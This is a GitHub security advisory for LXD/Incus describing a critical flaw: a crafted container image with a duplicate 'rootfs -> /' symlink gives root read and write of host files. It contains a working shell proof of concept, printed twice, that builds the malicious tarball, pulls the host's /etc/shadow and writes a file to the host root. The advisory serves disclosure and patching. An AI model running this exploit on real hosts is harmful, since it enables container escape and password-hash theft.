GHSA-VGHH-5RFX-XHQ8
Vulnerability from github – Published: 2026-11-06 19:36 – Updated: 2026-11-06 19:36Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260630083100-c5184be310b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T19:36:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and\na `rootfs/` entry, but full extraction can later process a duplicate top-level\n`rootfs` symlink. Later, the stopped-container file API opens\n`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to\nit.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem\nwith root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be\nmapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and\ncreate a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.",
"id": "GHSA-vghh-5rfx-xhq8",
"modified": "2026-11-06T19:36:07Z",
"published": "2026-11-06T19:36:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48749"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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